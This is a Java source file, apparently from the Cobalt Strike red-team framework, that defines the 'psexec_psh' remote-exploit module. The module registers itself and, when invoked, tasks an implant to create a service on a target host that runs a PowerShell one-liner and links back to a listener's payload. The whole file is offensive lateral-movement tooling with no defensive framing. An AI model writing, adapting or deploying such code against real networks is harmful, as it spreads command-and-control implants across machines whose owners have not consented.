package beacon.remoteexploits;

import aggressor.AggressorClient;
import aggressor.DataUtils;
import beacon.BeaconRemoteExploits;
import beacon.TaskBeacon;
import common.ListenerUtils;
import common.ScListener;

public class PsExecPowerShell implements BeaconRemoteExploits.RemoteExploit {
    protected AggressorClient client;

    public PsExecPowerShell(AggressorClient aggressorClient) {
        this.client = aggressorClient;
        DataUtils.getBeaconRemoteExploits(aggressorClient.getData()).register("psexec_psh", "x86", "Use a service to run a PowerShell one-liner", this);
    }

    public void jump(String string1, String string2, String string3) {
        ScListener scListener = ListenerUtils.getListener(this.client, string3);
        TaskBeacon taskBeacon = new TaskBeacon(this.client, new String[]{string1});
        taskBeacon.PsExecPSH(string1, string2, scListener);
        taskBeacon.linkToPayloadRemote(scListener, string2);
    }
}
